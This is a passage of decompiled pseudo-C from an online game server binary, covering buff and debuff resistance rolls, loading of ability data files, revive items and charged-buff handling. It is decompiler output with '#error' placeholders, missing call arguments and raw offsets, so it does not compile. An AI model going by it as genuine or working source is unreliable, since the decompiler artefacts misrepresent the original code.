starttime, int empowkeeptime, int restcount, int justkeep_millisec, AbnormalStateContainer::EnchantFrom enchantfrom) { return 0; } //----- (004112C0) -------------------------------------------------------- #error "4112C0: undefined or illegal type '#593' (funcsize=65)" //----- (00411360) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_AbnormalState_Resist(int this, int sklidx) { signed int v2; // edx@1 int v3; // esi@2 unsigned int v4; // eax@15 char *v5; // eax@15 int v6; // ecx@15 v2 = 0; if ( *(_WORD *)(*(_DWORD *)(this + 7656) + 20) != -1 ) { v3 = *(_DWORD *)(*(_DWORD *)sklidx + 244); if ( v3 ) { if ( this != -9101 ) { switch ( v3 ) { case 4: v2 = *(_WORD *)(this + 9133); break; case 1: v2 = *(_WORD *)(this + 9135); break; case 2: v2 = *(_WORD *)(this + 9137); break; case 3: v2 = *(_WORD *)(this + 9139); break; case 8: v2 = *(_WORD *)(this + 9141); break; case 7: v2 = *(_WORD *)(this + 9143); break; case 9: v2 = *(_WORD *)(this + 9145); break; case 10: v2 = *(_WORD *)(this + 9147); break; case 11: v2 = *(_WORD *)(this + 9149); break; case 12: v2 = *(_WORD *)(this + 9151); break; default: break; } } } } v4 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v4; v5 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v4]]; v6 = *((_DWORD *)v5 + 8193) & (*((_DWORD *)v5 + 8192) + 1); *((_DWORD *)v5 + 8192) = v6; return *(_WORD *)&v5[2 * v6] < v2; } //----- (00411450) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Resist(void *this, int sklidx) { bool result; // al@2 int v3; // eax@3 int v4; // edx@3 int v5; // esi@3 unsigned int v6; // eax@3 char *v7; // eax@3 int v8; // ecx@3 if ( sklidx ) { v3 = *(_DWORD *)(sklidx + 4); v4 = *(_DWORD *)((char *)this + v3 + 4244); v5 = *(_DWORD *)((char *)this + v3 + 6164); v6 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v6; v7 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v6]]; v8 = *((_DWORD *)v7 + 8193) & (*((_DWORD *)v7 + 8192) + 1); *((_DWORD *)v7 + 8192) = v8; result = *(_WORD *)&v7[2 * v8] < v4 + v5; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_AbnormalState_Resist : Invalid AbState", 0); result = 1; } return result; } //----- (004114E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set_SS_SETABSTATEME(void *this, int abstate, int keeptime) { int v3; // edi@1 void *v4; // esi@1 int v6; // edi@4 signed int v7; // ecx@7 v3 = *(_WORD *)(abstate + 4); v4 = this; if ( unk_6BC990 < (unsigned int)v3 ) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v3); return 0; } v6 = unk_6BC988 + 728 * v3; if ( !v6 || !*(_DWORD *)v6 || (!*(_BYTE *)keeptime ? (v7 = -1) : (v7 = *(_DWORD *)(keeptime + 4)), !(unsigned __int8)(*(int (__thiscall **)(void *, void *, _DWORD, signed int, int, unsigned int, _DWORD, _DWORD, signed int, signed int))(*(_DWORD *)v4 + 1584))( v4, v4, *(_DWORD *)(*(_DWORD *)v6 + 34), 1, v6, clockwatch.cw_CurrTick, 0, 0, v7, 13)) ) return 0; ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v4, *(_DWORD *)(*(_DWORD *)v6 + 34)); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v4, *(_DWORD *)(*(_DWORD *)v6 + 34), 0, 1); (*(void (__thiscall **)(void *, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 1004))( v4, *(_DWORD *)(*(_DWORD *)v6 + 34), 0, 0); return 1; } //----- (004115A0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x42Cu, 0x4Fu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00411650) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xD7Fu, 0x11Au) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00411710) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::SubAbState::SubAbState(AbnormalStateDictionary::SubAbState *this) { AbnormalStateDictionary::SubAbState *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->sas_BinData; CCharacterTitleData::CCharacterTitleData(&this->sas_BinData.baseclass_0); v2 += 60; memset(v2, 0, 0x4Cu); v2 += 76; *(_WORD *)v2 = 0; v2[2] = 0; v1->sas_DefAbstate = &v1->sas_BinData.bdb_defaultblock; v1->sas_BinData.bdb_defaultblock.ID = -1; v1->sas_DefAbstate->InxName[0] = 0; v1->sas_DefAbstate->Strength = 0; v1->sas_DefAbstate->Type = 28; v1->sas_DefAbstate->ActionIndexD = 0; v1->sas_DefAbstate->ActionIndexC = 0; v1->sas_DefAbstate->ActionIndexA = 0; v1->sas_DefAbstate->ActionIndexA = 0; v1->sas_DefAbstate->ActionArgD = 0; v1->sas_DefAbstate->ActionArgC = 0; v1->sas_DefAbstate->ActionArgB = 0; v1->sas_DefAbstate->ActionArgA = 0; } //----- (00411780) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::SubAbState::sas_Load(AbnormalStateDictionary::SubAbState *this) { AbnormalStateDictionary::SubAbState *v1; // esi@1 _iobuf *v2; // eax@1 v1 = this; BinaryDataBox::bdb_ReadData(&this->sas_BinData, "../9Data/Hero/SubAbState.shn"); v1->sas_Number = v1->sas_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v2 = fopen("../9Data/SubAbStateClass.txt", "w"); fclose(v2); } //----- (004117C0) -------------------------------------------------------- SubAbStateInfo *__thiscall AbnormalStateDictionary::SubAbState::sas_Find(AbnormalStateDictionary::SubAbState *this, char *index, int str) { SubAbStateInfo **v3; // ebx@1 SubAbStateInfo *result; // eax@2 unsigned int v5; // esi@3 char *v6; // ebx@4 void *v7; // ebp@6 unsigned int v8; // edi@8 void *v9; // eax@10 int v10; // eax@16 char namematch; // [sp+7h] [bp-Dh]@3 AbnormalStateDictionary::SubAbState *v12; // [sp+8h] [bp-Ch]@1 unsigned int idx; // [sp+Ch] [bp-8h]@3 v3 = (SubAbStateInfo **)this; v12 = this; if ( *index == 45 ) { result = this->sas_DefAbstate; } else { v5 = 0; namematch = 0; idx = 0; if ( !this->sas_Number ) goto LABEL_25; v6 = (char *)&this->sas_BinData; while ( 1 ) { if ( v5 < *(_DWORD *)(*((_DWORD *)v6 + 12) + 40) ) v7 = CDataReader::GetRecord((CDataReader *)v6, v5); else v7 = v6 + 60; v8 = *(_DWORD *)((char *)v7 + 34); if ( v8 != 999 ) { v9 = v5 < *(_DWORD *)(*((_DWORD *)v6 + 12) + 40) ? CDataReader::GetRecord((CDataReader *)v6, v5) : v6 + 60; v8 = *(_DWORD *)((char *)v7 + 34); if ( v8 > 0x14 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::SubAbState::sas_Find : Wrong MaxStrength", *(_DWORD *)((char *)v9 + 34)); return v12->sas_DefAbstate; } } if ( !strcmp(index, (const char *)v7 + 2) ) { namematch = 1; if ( v8 == 999 || v8 == str ) return (SubAbStateInfo *)v7; } v10 = idx++ + 1; if ( idx >= v12->sas_Number ) break; v5 = v10; } v3 = (SubAbStateInfo **)v12; if ( !namematch ) LABEL_25: AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::SubAbState::sas_Find : Not found", index); result = *v3; } return result; } //----- (00411910) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::AbState::AbState(AbnormalStateDictionary::AbState *this) { AbnormalStateDictionary::AbState *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->as_BinData.baseclass_0); memset(&v1->as_BinData.bdb_defaultblock, 0, 0x118u); *(_WORD *)&v1->as_BinData.bdb_defaultblock.MainStateInx[31] = 0; BTree::BTree(&v1->as_BTreeID); BTree::BTree(&v1->as_BTreeIndex); } //----- (00411980) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::AbState::_AbState(AbnormalStateDictionary::AbState *this) { AbnormalStateDictionary::AbState *v1; // esi@1 v1 = this; operator delete(this->as_AbstateArray); BTree::_BTree(&v1->as_BTreeIndex); BTree::_BTree(&v1->as_BTreeID); CCharacterTitleData::_CCharacterTitleData(&v1->as_BinData.baseclass_0); } //----- (004119F0) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::AbState::as_Load(AbnormalStateDictionary::AbState *this) { AbnormalStateDictionary::AbState *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // edi@1 void *v4; // eax@3 void *v5; // eax@7 void *v6; // eax@11 unsigned int v7; // ecx@14 int v8; // eax@14 int v9; // edx@16 int v10; // edi@16 void *v11; // ebx@18 void *v12; // eax@21 void *v13; // ebx@24 void *v14; // eax@27 void *v15; // ebx@30 signed int v16; // edi@42 SubAbStateInfo *v17; // eax@43 int v18; // ecx@43 signed int v19; // edx@43 int v20; // ecx@45 SubAbstateAction v21; // ebp@45 int v22; // ecx@45 SubAbstateAction v23; // ebp@45 int v24; // ecx@45 SubAbstateAction v25; // ebp@45 AbnormalStateDictionary::AbState::AbStateStr *v26; // ebp@45 unsigned int v27; // edx@45 SubAbstateAction v28; // eax@45 int v29; // ecx@45 int v30; // esi@48 int v31; // edi@48 int str; // [sp+8h] [bp-Ch]@42 unsigned int idx; // [sp+Ch] [bp-8h]@16 v1 = this; BinaryDataBox::bdb_ReadData(&this->as_BinData, "../9Data/Hero/AbState.shn"); v2 = v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v3 = 0; v1->as_Number = v2; v1->as_maxhandle = 0; if ( v2 ) { do { if ( v3 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v4 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v3); else v4 = &v1->as_BinData.bdb_defaultblock; if ( *(_WORD *)v4 > v1->as_maxhandle ) { if ( v3 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v3); else v5 = &v1->as_BinData.bdb_defaultblock; v1->as_maxhandle = *(_WORD *)v5; } ++v3; } while ( v3 < v1->as_Number ); } v6 = operator new__(728 * (v1->as_maxhandle + 1)); v1->as_AbstateArray = (AbnormalStateDictionary::AbState::AbStateStr *)v6; if ( v6 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_Load : Fail to alloc memory", v6 != 0); ShineExit("AbnormalStateDictionary::AbState::as_Load"); } v7 = 0; v8 = 0; do { v1->as_AbstateArray[v8].index = 0; v1->as_AbstateArray[v8].debuffresist = (int *)168; ++v7; ++v8; } while ( v7 <= v1->as_maxhandle ); v9 = (int)v1->as_StateIndexList; memset(v1->as_StateIndexList, 0, sizeof(v1->as_StateIndexList)); v10 = 0; idx = 0; if ( v1->as_Number ) { do { AbnormalStateContainer::AbnormalStateList::operator__(&abstatetemplate, v10); if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v11 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v11 = &v1->as_BinData.bdb_defaultblock; if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v12 = &v1->as_BinData.bdb_defaultblock; BTree::bt_Insert(&v1->as_BTreeID, (const char *)v12 + 2, *(_WORD *)v11); if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v13 = &v1->as_BinData.bdb_defaultblock; if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v14 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v14 = &v1->as_BinData.bdb_defaultblock; BTree::bt_Insert(&v1->as_BTreeIndex, (const char *)v14 + 2, *(_DWORD *)((char *)v13 + 34)); if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v15 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v15 = &v1->as_BinData.bdb_defaultblock; v1->as_AbstateArray[*(_WORD *)v15].index = (AbnormalStateInfo *)v15; switch ( *((_DWORD *)v15 + 60) ) { case 3: v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)176; break; case 4: v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)172; break; case 5: v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)180; break; } if ( *((_DWORD *)v15 + 61) == 2 ) { v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)184; } else { if ( *((_DWORD *)v15 + 61) == 13 ) v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)188; } v16 = 0; v1->as_StateIndexList[*(_DWORD *)((char *)v15 + 34)] = &v1->as_AbstateArray[*(_WORD *)v15]; str = 0; do { v17 = AbnormalStateDictionary::SubAbState::sas_Find(&dic_subabstate, (char *)v15 + 208, str); v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_info = v17; v18 = (int)v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect; v19 = 4; do { *(_DWORD *)v18 = 0; v18 += 8; --v19; } while ( v19 ); v20 = (int)&v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16]; v21 = v17->ActionIndexA; v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect[0].value = v17->ActionArgA; *(_DWORD *)(v20 + 4) = v21; v22 = (int)&v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16]; v23 = v17->ActionIndexB; v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect[1].value = v17->ActionArgB; *(_DWORD *)(v22 + 12) = v23; v24 = (int)&v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16]; v25 = v17->ActionIndexC; v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect[2].value = v17->ActionArgC; *(_DWORD *)(v24 + 20) = v25; v26 = v1->as_AbstateArray; v27 = v17->ActionArgD; v28 = v17->ActionIndexD; v29 = (int)&v26[*(_WORD *)v15].subabstate[v16]; v26[*(_WORD *)v15].subabstate[v16].assa_Effect[3].value = v27; ++v16; *(_DWORD *)(v29 + 28) = v28; ++str; } while ( v16 < 20 ); v10 = idx++ + 1; } while ( idx < v1->as_Number ); v9 = (int)v1->as_StateIndexList; } v30 = 0; v31 = v9; do { if ( v30 < 609 ) { if ( *(_DWORD *)v31 && **(_DWORD **)v31 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_Load : Null Index", v30); ShineExit("AbnormalStateDictionary::AbState::as_Load"); } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v30); } ++v30; v31 += 4; } while ( (unsigned int)v30 < 0x261 ); } //----- (00411E10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_FillBriefABState(void *this, int data, int num) { List *v3; // eax@1 AbnormalStateContainer::AbstateListInObject *v4; // eax@3 List *v5; // edi@3 unsigned __int16 v6; // bp@4 unsigned __int16 v7; // dx@5 ListStruct *v8; // ecx@6 unsigned __int16 v9; // bx@6 bool v10; // cf@6 int v11; // esi@7 ORErrorMessage *v12; // ecx@8 ListStruct *v13; // edx@11 AbnormalStateContainer::AbstateElementInObject *v14; // eax@12 ListStruct *v15; // edx@15 char v16; // al@15 int v17; // esi@15 AbnormalStateContainer::AbstateElementInObject *v18; // ecx@16 LOBYTE(v3) = data; if ( data ) { LOBYTE(v3) = num; if ( num ) { *(_BYTE *)num = 0; v4 = (AbnormalStateContainer::AbstateListInObject *)(*(int (**)(void))(*(_DWORD *)this + 1320))(); v3 = AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList(v4); v5 = v3; if ( v3 ) { v3 = (List *)v3->l_Finger.store; v6 = v5->l_Array[(_DWORD)v3].ls_Next; while ( 1 ) { v7 = v5->l_MaxSize; if ( v6 >= v7 ) break; v8 = v5->l_Array; v3 = (List *)v6; v9 = v6; v10 = v6 < v7; v6 = v8[v6].ls_Next; if ( v10 ) { v11 = (signed int)v3; LOBYTE(v3) = v8[(_DWORD)v3].ls_IsActiv; if ( (_BYTE)v3 ) { v12 = (ORErrorMessage *)v8[v11].ls_Content; if ( v12 ) { LOBYTE(v3) = num; if ( *(_BYTE *)num >= 0x1Eu ) return (char)v3; *(_DWORD *)data = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber(v12); if ( v9 < v5->l_MaxSize && (v13 = v5->l_Array, v13[v11].ls_IsActiv) ) v14 = v13[v11].ls_Content; else v14 = 0; *(_DWORD *)(data + 4) = AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(v14); if ( v9 < v5->l_MaxSize && (v15 = v5->l_Array, v16 = v15[v11].ls_IsActiv, v17 = (int)&v15[v11], v16) ) v18 = *(AbnormalStateContainer::AbstateElementInObject **)v17; else v18 = 0; *(_DWORD *)(data + 8) = AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(v18); LOBYTE(v3) = num; ++*(_BYTE *)num; data += 12; } } } } } } } return (char)v3; } //----- (00411F20) -------------------------------------------------------- void __thiscall UseEffect::UseItemJustReviveAtDead::UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this) { UseEffect::UseItemJustReviveAtDead *v1; // esi@1 v1 = this; UseEffect::UseItemNormal::UseItemNormal(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemJustReviveAtDead::_vftable_; } // 633A08: using guessed type int (__stdcall *UseEffect__UseItemJustReviveAtDead___vftable_)(int, int itm); //----- (00411F40) -------------------------------------------------------- void __thiscall UseEffect::UseItemJustReviveAtDead::_UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemJustReviveAtDead::_vftable_; UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)this); } // 633A08: using guessed type int (__stdcall *UseEffect__UseItemJustReviveAtDead___vftable_)(int, int itm); //----- (00411F50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REBIRTH_CMD(int this, int netcmd, int len, __int16 handle) { int v4; // esi@1 v4 = this; if ( *(_DWORD *)(this + 143904) > 0 || *(_BYTE *)(this + 143900) ) { ShineObjectClass::ShinePlayer::sp_ReviveNow((void *)this, *(_WORD *)(this + 143904)); *(_BYTE *)(v4 + 143900) = 0; *(_DWORD *)(v4 + 143904) = 0; } } //----- (00411F90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned __int16 v5; // di@1 ItemDataBox::ItemDataBoxIndex *v6; // ebx@1 ITEM_INVEN loc; // [sp+10h] [bp-14h]@3 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v9; // [sp+20h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; v5 = ItemDataBox::idb_SpecialItems(&itemdatabox)->sii_JustReviveItem; v6 = ItemDataBox::operator__(&itemdatabox, v5); if ( v6 ) { if ( ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v4, v5, (int)&loc) ) UseEffect::UseItemNormal::uib_AfterCast(&ui_JustRevive, (#734 *)v4, (ItemBag *)v4 + 8920, v6, loc.Inven); else (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 18, 43, 1822); } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 18, 43, 1823); } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD"); } //----- (00412090) -------------------------------------------------------- #error "412090: undefined or illegal type '#593' (funcsize=106)" //----- (004121E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ReviveByItem(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReviveByItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ReviveByItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ReviveNow(v1, 0x3E8u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReviveByItem"); } //----- (00412280) -------------------------------------------------------- #error "412280: undefined or illegal type '#734' (funcsize=128)" //----- (00412430) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete(void *this) { int v1; // esi@1 int (__stdcall **cealc)(int, __int16); // [sp+8h] [bp-14h]@1 int v3; // [sp+Ch] [bp-10h]@1 int v4; // [sp+18h] [bp-4h]@1 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; cealc = &ChargedItemEffectList::ChargedEffectAfterLoginComplete::_vftable_; v3 = v1; LOBYTE(v4) = 1; List::l_4AllInList((List *)(v1 + 142064), (ListIteratorDefault *)&cealc); --funcallanalizer.fca_stackpoint; cealc = &ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete"); } // 633AB8: using guessed type int (__stdcall *ChargedItemEffectList__ChargedEffectAfterLoginComplete___vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004124F0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest) { AbnormalStateContainer::AbstateElementInObject *v3; // edx@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@1 const void *v5; // esi@2 void *v6; // edi@2 v3 = _First; result = _Dest; while ( v3 != _Last ) { v5 = v3; v6 = result; ++v3; ++result; memcpy(v6, v5, 0x6Cu); } return result; } //----- (00412520) -------------------------------------------------------- #error "412520: undefined or illegal type '#734' (funcsize=35)" //----- (004125D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_CanChargedEnchant(void *this, int index) { void *v2; // esi@1 int v3; // eax@1 int v4; // edi@1 unsigned __int16 v5; // si@1 unsigned __int16 v6; // cx@1 int v7; // eax@3 bool v8; // cf@3 int v9; // eax@4 int v10; // eax@5 int v11; // edx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_WORD *)v2 + 71039); v4 = *((_DWORD *)v2 + 35518); v5 = *((_WORD *)v2 + 71034); v6 = *(_WORD *)(v4 + 12 * v3 + 4); while ( v6 < v5 ) { v7 = v6; v8 = v6 < v5; v6 = *(_WORD *)(v4 + 12 * v6 + 4); if ( !v8 ) break; v9 = v4 + 12 * v7; if ( !*(_BYTE *)(v9 + 8) ) break; v10 = *(_DWORD *)v9; if ( !v10 ) break; v11 = *(_DWORD *)v10; if ( *(_DWORD *)v10 && *(_DWORD *)(v11 + 36) == 31 && *(_WORD *)(v11 + 40) == *(_WORD *)(index + 40) && *(_BYTE *)(*(_DWORD *)v10 + 42) >= *(_BYTE *)(index + 42) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"); return 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"); return 1; } //----- (00412700) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE(void *this, int abstateid) { void *v2; // ebp@1 unsigned __int16 v3; // dx@1 unsigned __int16 v4; // di@2 int v5; // ecx@3 int v6; // eax@3 bool v7; // cf@3 int v8; // eax@4 int v9; // eax@5 int v10; // ecx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(*((_DWORD *)v2 + 35518) + 12 * *((_WORD *)v2 + 71039) + 4); while ( 1 ) { v4 = *((_WORD *)v2 + 71034); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v2 + 35518); v6 = v3; v7 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); if ( !v7 ) break; v8 = v5 + 12 * v6; if ( !*(_BYTE *)(v8 + 8) ) break; v9 = *(_DWORD *)v8; if ( !v9 ) break; v10 = *(_DWORD *)v9; if ( *(_DWORD *)v9 && *(_DWORD *)(v10 + 36) == 31 ) { if ( *(_WORD *)(v10 + 40) == abstateid ) *(_BYTE *)(v9 + 4) = 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE"); } //----- (004127E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // cx@1 unsigned __int16 v3; // di@2 int v4; // edx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_WORD *)(*((_DWORD *)v1 + 35518) + 12 * *((_WORD *)v1 + 71039) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 71034); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 35518); v5 = v2; v6 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( !v6 ) break; v7 = v4 + 12 * v5; if ( !*(_BYTE *)(v7 + 8) ) break; v8 = *(_DWORD *)v7; if ( !v8 ) break; if ( *(_DWORD *)v8 ) *(_BYTE *)(v8 + 4) 